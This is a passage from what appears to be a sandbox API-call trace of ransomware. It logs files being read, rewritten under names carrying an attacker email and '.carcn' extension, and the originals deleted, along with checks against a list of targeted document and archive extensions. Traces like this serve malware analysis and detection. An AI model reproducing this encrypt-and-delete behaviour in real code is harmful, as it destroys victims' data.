lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xf6, lpOverlapped=0x0) returned 1 [0158.305] SetEndOfFile (hFile=0x2e8) returned 1 [0158.305] CloseHandle (hObject=0x2e8) returned 1 [0158.305] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.306] SetEndOfFile (hFile=0x2e4) returned 1 [0158.309] CloseHandle (hObject=0x2e4) returned 1 [0158.309] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0158.309] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0158.310] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.310] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.310] lstrlenW (lpString=".doc") returned 4 [0158.310] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0158.310] lstrlenW (lpString=".docx") returned 5 [0158.310] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0158.310] lstrlenW (lpString=".pdf") returned 4 [0158.310] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0158.310] lstrlenW (lpString=".xls") returned 4 [0158.310] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0158.310] lstrlenW (lpString=".xlsx") returned 5 [0158.310] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0158.310] lstrlenW (lpString=".ppt") returned 4 [0158.310] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0158.310] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.310] lstrlenW (lpString=".zip") returned 4 [0158.310] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0158.310] lstrlenW (lpString=".rar") returned 4 [0158.310] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0158.310] lstrlenW (lpString=".bz2") returned 4 [0158.310] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0158.310] lstrlenW (lpString=".7z") returned 3 [0158.310] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0158.310] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.310] lstrlenW (lpString=".dbf") returned 4 [0158.310] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0158.310] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.310] lstrlenW (lpString=".1cd") returned 4 [0158.310] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0158.310] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.310] lstrlenW (lpString=".jpg") returned 4 [0158.310] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0158.311] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.311] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.311] lstrlenW (lpString=".doc") returned 4 [0158.311] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0158.311] lstrlenW (lpString=".docx") returned 5 [0158.311] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0158.311] lstrlenW (lpString=".pdf") returned 4 [0158.311] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0158.311] lstrlenW (lpString=".xls") returned 4 [0158.311] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0158.311] lstrlenW (lpString=".xlsx") returned 5 [0158.311] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0158.311] lstrlenW (lpString=".ppt") returned 4 [0158.311] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0158.311] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.311] lstrlenW (lpString=".zip") returned 4 [0158.311] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0158.311] lstrlenW (lpString=".rar") returned 4 [0158.311] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0158.311] lstrlenW (lpString=".bz2") returned 4 [0158.311] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0158.311] lstrlenW (lpString=".7z") returned 3 [0158.311] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0158.311] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.311] lstrlenW (lpString=".dbf") returned 4 [0158.311] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0158.311] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.311] lstrlenW (lpString=".1cd") returned 4 [0158.311] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0158.311] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0158.311] lstrlenW (lpString=".jpg") returned 4 [0158.311] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0158.312] lstrcmpiW (lpString1=".MARKER", lpString2=".carcn") returned 1 [0158.312] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0158.312] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0158.602] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=0) returned 1 [0158.602] CloseHandle (hObject=0x2dc) returned 1 [0158.602] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.602] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.602] lstrlenW (lpString=".doc") returned 4 [0158.602] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0158.602] lstrlenW (lpString=".docx") returned 5 [0158.602] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0158.602] lstrlenW (lpString=".pdf") returned 4 [0158.602] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString=".xls") returned 4 [0158.603] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString=".xlsx") returned 5 [0158.603] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0158.603] lstrlenW (lpString=".ppt") returned 4 [0158.603] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.603] lstrlenW (lpString=".zip") returned 4 [0158.603] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString=".rar") returned 4 [0158.603] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString=".bz2") returned 4 [0158.603] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString=".7z") returned 3 [0158.603] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0158.603] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.603] lstrlenW (lpString=".dbf") returned 4 [0158.603] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.603] lstrlenW (lpString=".1cd") returned 4 [0158.603] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.603] lstrlenW (lpString=".jpg") returned 4 [0158.603] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.603] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.603] lstrlenW (lpString=".doc") returned 4 [0158.603] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString=".docx") returned 5 [0158.603] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0158.603] lstrlenW (lpString=".pdf") returned 4 [0158.603] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0158.603] lstrlenW (lpString=".xls") returned 4 [0158.603] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0158.604] lstrlenW (lpString=".xlsx") returned 5 [0158.604] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0158.604] lstrlenW (lpString=".ppt") returned 4 [0158.604] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0158.604] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.604] lstrlenW (lpString=".zip") returned 4 [0158.604] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0158.604] lstrlenW (lpString=".rar") returned 4 [0158.604] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0158.604] lstrlenW (lpString=".bz2") returned 4 [0158.604] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0158.604] lstrlenW (lpString=".7z") returned 3 [0158.604] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0158.604] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.604] lstrlenW (lpString=".dbf") returned 4 [0158.604] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0158.604] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.604] lstrlenW (lpString=".1cd") returned 4 [0158.604] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0158.604] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0158.604] lstrlenW (lpString=".jpg") returned 4 [0158.604] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0158.604] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0158.604] lstrlenW (lpString="SetupResources.dll") returned 18 [0158.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.616] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=17240) returned 1 [0158.616] CloseHandle (hObject=0x2e8) returned 1 [0158.616] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0158.616] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.616] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.616] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0158.629] GetLastError () returned 0x0 [0158.629] ReadFile (in: hFile=0x2e8, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x4358, lpOverlapped=0x0) returned 1 [0158.664] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x4360, lpOverlapped=0x0) returned 1 [0158.665] ReadFile (in: hFile=0x2e8, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.665] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0158.665] SetEndOfFile (hFile=0x2f8) returned 1 [0158.665] CloseHandle (hObject=0x2f8) returned 1 [0158.666] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.666] SetEndOfFile (hFile=0x2e8) returned 1 [0158.667] CloseHandle (hObject=0x2e8) returned 1 [0158.667] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0158.668] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0158.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.668] lstrlenW (lpString=".doc") returned 4 [0158.668] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.668] lstrlenW (lpString=".docx") returned 5 [0158.668] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0158.668] lstrlenW (lpString=".pdf") returned 4 [0158.668] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.668] lstrlenW (lpString=".xls") returned 4 [0158.668] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.668] lstrlenW (lpString=".xlsx") returned 5 [0158.668] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0158.668] lstrlenW (lpString=".ppt") returned 4 [0158.668] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.668] lstrlenW (lpString=".zip") returned 4 [0158.668] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.668] lstrlenW (lpString=".rar") returned 4 [0158.668] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.669] lstrlenW (lpString=".bz2") returned 4 [0158.669] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.669] lstrlenW (lpString=".7z") returned 3 [0158.669] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.669] lstrlenW (lpString=".dbf") returned 4 [0158.669] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.669] lstrlenW (lpString=".1cd") returned 4 [0158.669] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.669] lstrlenW (lpString=".jpg") returned 4 [0158.669] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.669] lstrlenW (lpString=".doc") returned 4 [0158.669] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.669] lstrlenW (lpString=".docx") returned 5 [0158.669] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0158.669] lstrlenW (lpString=".pdf") returned 4 [0158.669] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.669] lstrlenW (lpString=".xls") returned 4 [0158.669] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.669] lstrlenW (lpString=".xlsx") returned 5 [0158.669] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0158.669] lstrlenW (lpString=".ppt") returned 4 [0158.669] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.669] lstrlenW (lpString=".zip") returned 4 [0158.669] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.669] lstrlenW (lpString=".rar") returned 4 [0158.669] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.669] lstrlenW (lpString=".bz2") returned 4 [0158.669] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.670] lstrlenW (lpString=".7z") returned 3 [0158.670] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.670] lstrlenW (lpString=".dbf") returned 4 [0158.670] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.670] lstrlenW (lpString=".1cd") returned 4 [0158.670] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0158.670] lstrlenW (lpString=".jpg") returned 4 [0158.670] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.670] Sleep (dwMilliseconds=0x64) [0158.960] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0158.960] lstrlenW (lpString="SetupResources.dll") returned 18 [0158.960] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0158.961] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18264) returned 1 [0158.961] CloseHandle (hObject=0x2f4) returned 1 [0158.961] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0158.961] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.961] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0158.961] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.961] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.961] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.962] GetLastError () returned 0x0 [0158.962] ReadFile (in: hFile=0x2f4, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x4758, lpOverlapped=0x0) returned 1 [0159.182] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x4760, lpOverlapped=0x0) returned 1 [0159.183] ReadFile (in: hFile=0x2f4, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.183] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.183] SetEndOfFile (hFile=0x2e8) returned 1 [0159.183] CloseHandle (hObject=0x2e8) returned 1 [0159.184] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.184] SetEndOfFile (hFile=0x2f4) returned 1 [0159.187] CloseHandle (hObject=0x2f4) returned 1 [0159.187] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.187] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0159.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.188] lstrlenW (lpString=".doc") returned 4 [0159.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".docx") returned 5 [0159.188] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.188] lstrlenW (lpString=".pdf") returned 4 [0159.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".xls") returned 4 [0159.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".xlsx") returned 5 [0159.188] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.188] lstrlenW (lpString=".ppt") returned 4 [0159.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.188] lstrlenW (lpString=".zip") returned 4 [0159.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".rar") returned 4 [0159.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".bz2") returned 4 [0159.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString=".7z") returned 3 [0159.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.188] lstrlenW (lpString=".dbf") returned 4 [0159.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.188] lstrlenW (lpString=".1cd") returned 4 [0159.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.188] lstrlenW (lpString=".jpg") returned 4 [0159.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.189] lstrlenW (lpString=".doc") returned 4 [0159.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.189] lstrlenW (lpString=".docx") returned 5 [0159.189] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.189] lstrlenW (lpString=".pdf") returned 4 [0159.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.189] lstrlenW (lpString=".xls") returned 4 [0159.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.189] lstrlenW (lpString=".xlsx") returned 5 [0159.189] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.189] lstrlenW (lpString=".ppt") returned 4 [0159.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.189] lstrlenW (lpString=".zip") returned 4 [0159.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.189] lstrlenW (lpString=".rar") returned 4 [0159.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.189] lstrlenW (lpString=".bz2") returned 4 [0159.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.189] lstrlenW (lpString=".7z") returned 3 [0159.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.189] lstrlenW (lpString=".dbf") returned 4 [0159.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.189] lstrlenW (lpString=".1cd") returned 4 [0159.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0159.189] lstrlenW (lpString=".jpg") returned 4 [0159.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.190] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0159.190] lstrlenW (lpString="SetupResources.dll") returned 18 [0159.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0159.190] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18776) returned 1 [0159.190] CloseHandle (hObject=0x2f4) returned 1 [0159.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0159.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" 